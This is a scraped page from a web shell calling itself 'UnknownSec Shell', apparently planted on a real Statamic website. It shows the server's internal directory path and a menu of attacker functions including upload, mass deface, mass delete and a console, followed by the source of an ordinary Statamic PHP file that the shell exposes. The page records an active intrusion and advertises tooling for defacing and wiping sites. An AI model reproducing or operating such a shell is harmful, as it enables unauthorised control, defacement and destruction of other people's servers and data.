shell bypass 403
UnknownSec Shell
:
/
home
/
forge
/
mpc.brannanatkinson.com
/
vendor
/
statamic
/
cms
/
src
/
Assets
/ [
drwxrwxr-x
]
upload
mass deface
mass delete
console
info server
name :
AssetContainerManager.php
<?php namespace Statamic\Assets; use Illuminate\Filesystem\FilesystemManager; use Statamic\Facades\Parse; use Statamic\Facades\Path; use Statamic\Facades\URL; use Statamic\Support\Arr; class AssetContainerManager { /** * @var Filesystem */ private $filesystem; public function __construct(FilesystemManager $filesystem) { $this->filesystem = $filesystem; } public function resolveLocalPath($path) { return (Path::isAbsolute($path)) ? $path : Path::resolve(realpath(statamic_path('../')).'/'.$path); } /** * Get an absolute version of a given URL. * * @param string $url * @return string|bool */ public function getAbsoluteUrl($url) { return URL::makeAbsolute($url); } /** * Check if the URL of a given container exists. * * Since a directory cannot reliably be detected as a URL, a * temporary file will be written, and we'll check for that directly. * * @return bool */ public function urlExists($url, $path) { $filename = '/statamic-test-'.time(); $tmp = $path.$filename; touch($tmp); $resolvedUrl = URL::assemble($this->getAbsoluteUrl($url), $filename); $headers = get_headers($resolvedUrl); unlink($tmp); return (! $headers || strpos($headers[0], '404')) == false; } /** * Get an Amazon S3 filesystem instance. * * @param array $config An array containing key, secret, region, bucket, and path. */ public function createS3Filesystem($config) { $config = $this->parseEnv($config); $config['root'] = Arr::get($config, 'path'); return $this->filesystem->createS3Driver($config); } /** * Parse the keys in an array for environment variables. * * @param array $data * @return static */ private function parseEnv($data) { return collect($data)->map(function ($value) { return Parse::env($value); })->all(); } }
© 2026 UnknownSec